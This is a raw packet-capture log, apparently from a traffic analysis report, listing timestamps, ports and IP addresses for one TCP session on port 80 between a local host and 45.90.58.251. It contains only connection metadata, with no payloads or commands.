Jul 5, 2024 07:47:53.733460903 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733473063 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733479023 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733479023 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733484030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733500957 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733506918 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733536959 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733583927 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733594894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733604908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733623981 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733628035 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733634949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733650923 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733659983 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733663082 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733674049 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733685970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733691931 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733695984 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733706951 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733712912 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733725071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.733726025 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.733757019 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734369993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734380960 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734390974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734406948 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734420061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734421015 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734430075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734441042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734447002 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734452009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734462976 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734463930 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734473944 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734484911 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734486103 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734497070 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734507084 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734510899 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734519005 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734529018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734533072 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734539986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.734560013 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.734575987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.735129118 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.735141039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.735152006 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.735162973 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.735173941 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.735178947 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.735204935 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.738919020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.738929987 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.738940001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.738965034 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.738977909 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.739020109 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.739029884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.739041090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.739053011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.739062071 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.739067078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.739089012 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.747679949 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.764023066 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.801964998 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.801976919 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802041054 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802159071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802177906 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802190065 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802201033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802212000 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802222967 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802229881 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802242994 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802275896 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802582026 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802656889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802668095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802700996 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802736044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802776098 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802866936 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802876949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802887917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802898884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802911043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.802927971 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.802957058 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803069115 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803080082 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803112984 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803154945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803164959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803174019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803185940 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803200006 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803214073 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803379059 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803417921 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803419113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803426981 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803448915 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803462982 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803512096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803551912 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803581953 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803594112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803605080 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803622007 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803690910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803731918 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.803919077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803930044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803941965 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.803970098 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804070950 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804081917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804091930 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804107904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804116011 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804117918 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804127932 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804157019 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804290056 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804300070 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804310083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804321051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804332018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804332972 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804363966 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804522038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804533958 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804543972 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804558039 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804580927 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.804753065 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804831982 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.804872990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.805103064 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805160999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805172920 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805200100 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.805279970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805293083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805303097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.805322886 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.805336952 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.820089102 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820127010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820137978 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820233107 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820245028 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820343018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820353985 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820363998 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.820378065 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.820406914 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.822546005 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822581053 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822592974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822627068 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.822680950 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822691917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822701931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822715044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822721958 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.822757006 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.822880030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822923899 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.822952986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822963953 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822974920 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822990894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.822995901 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823002100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823014021 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823029995 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823044062 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823332071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823343992 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823354959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823367119 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823378086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823380947 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823388100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823400021 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823410988 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823412895 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823441982 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823453903 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823678970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823689938 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823698997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823712111 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823723078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823724985 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823734999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.823750019 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.823782921 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824096918 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824112892 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824122906 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824134111 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824143887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824152946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824153900 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824166059 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824179888 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824182034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824193001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824197054 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824204922 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824217081 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824223042 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824228048 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824239969 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824249983 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824250937 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824259996 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824280977 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824793100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824809074 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824820042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824831009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824841022 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824851036 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824862003 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824862003 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824872971 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824882984 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824883938 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824896097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.824898005 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824932098 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.824932098 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.829349995 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829425097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829437017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829463959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829576015 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829592943 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829602957 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.829603910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829618931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.829648018 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.829668045 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.891819954 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.891882896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.891892910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.891937017 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.891948938 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.891961098 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.891997099 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.892065048 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.892075062 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.892085075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.892113924 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.892127037 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.892640114 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.892649889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.892688990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893193960 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893249035 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893266916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893296957 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893362045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893373966 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893407106 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893438101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893477917 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893542051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893553019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893563986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893574953 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893589973 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893620968 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893755913 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893767118 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893776894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893805027 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893938065 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893949032 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893963099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893974066 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893981934 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.893985033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.893996954 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894006968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894011021 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894026995 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894053936 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894243002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894253016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894263029 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894275904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894283056 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894310951 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894460917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894471884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894481897 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894491911 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894512892 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894527912 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894687891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894696951 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894706011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894717932 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894727945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894728899 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894740105 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894751072 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894761086 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894763947 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.894773006 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894804955 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.894946098 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895018101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895028114 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895065069 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.895101070 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895112038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895121098 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895133018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895149946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.895174026 CEST	49733	80	192.168.2.4	45.90.58.251
